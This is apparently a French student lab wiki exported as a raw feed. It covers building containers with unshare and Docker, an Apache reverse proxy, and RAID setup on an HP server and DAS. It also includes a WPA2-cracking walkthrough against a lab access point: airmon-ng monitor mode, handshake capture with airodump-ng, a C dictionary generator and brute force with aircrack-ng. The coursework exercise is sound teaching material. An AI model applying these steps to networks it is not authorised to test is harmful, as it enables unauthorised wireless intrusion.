 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;br /&gt;
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Ifconfig.png|center]]&lt;br /&gt;
&lt;br /&gt;
Dans notre cas elle s'appelle wlp3s0.&lt;br /&gt;
&lt;br /&gt;
On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :&lt;br /&gt;
&lt;br /&gt;
  ifconfig wlp3s0 down&lt;br /&gt;
&lt;br /&gt;
On place la carte en &amp;quot;monitor mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start wlp3s0&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que l'interface est bien en monitor mode avec airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airmonng.png|center]]&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
De ce scan, nous tirons plusieurs informations : &lt;br /&gt;
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.&lt;br /&gt;
-Nous notons son BSSID : 04:DA:D2:9C:50:53&lt;br /&gt;
-Son channel : 9&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :&lt;br /&gt;
&lt;br /&gt;
  airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0&lt;br /&gt;
&lt;br /&gt;
[[fichier:Airodump.png|center]]&lt;br /&gt;
&lt;br /&gt;
Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.&lt;br /&gt;
&lt;br /&gt;
La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  int main() {&lt;br /&gt;
  	for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
  		printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  	}&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  gcc -o dico dico.c&lt;br /&gt;
  ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.&lt;br /&gt;
&lt;br /&gt;
Le brute-force peut maintenant commencer :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt&lt;br /&gt;
&lt;br /&gt;
Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :&lt;br /&gt;
&lt;br /&gt;
[[fichier:Keyfound.png|center]]&lt;br /&gt;
&lt;br /&gt;
L'image ci dessus nous montre enfin la clé WPA de cracotte04.&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Keyfound.png&amp;diff=48555</id>
		<title>Fichier:Keyfound.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Keyfound.png&amp;diff=48555"/>
				<updated>2018-12-10T23:10:48Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Airodump.png&amp;diff=48553</id>
		<title>Fichier:Airodump.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Airodump.png&amp;diff=48553"/>
				<updated>2018-12-10T23:03:19Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Airmonng.png&amp;diff=48552</id>
		<title>Fichier:Airmonng.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Airmonng.png&amp;diff=48552"/>
				<updated>2018-12-10T23:00:39Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ifconfig.png&amp;diff=48551</id>
		<title>Fichier:Ifconfig.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Ifconfig.png&amp;diff=48551"/>
				<updated>2018-12-10T22:58:25Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48549</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48549"/>
				<updated>2018-12-10T22:56:09Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Crack de réseau Wifi WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
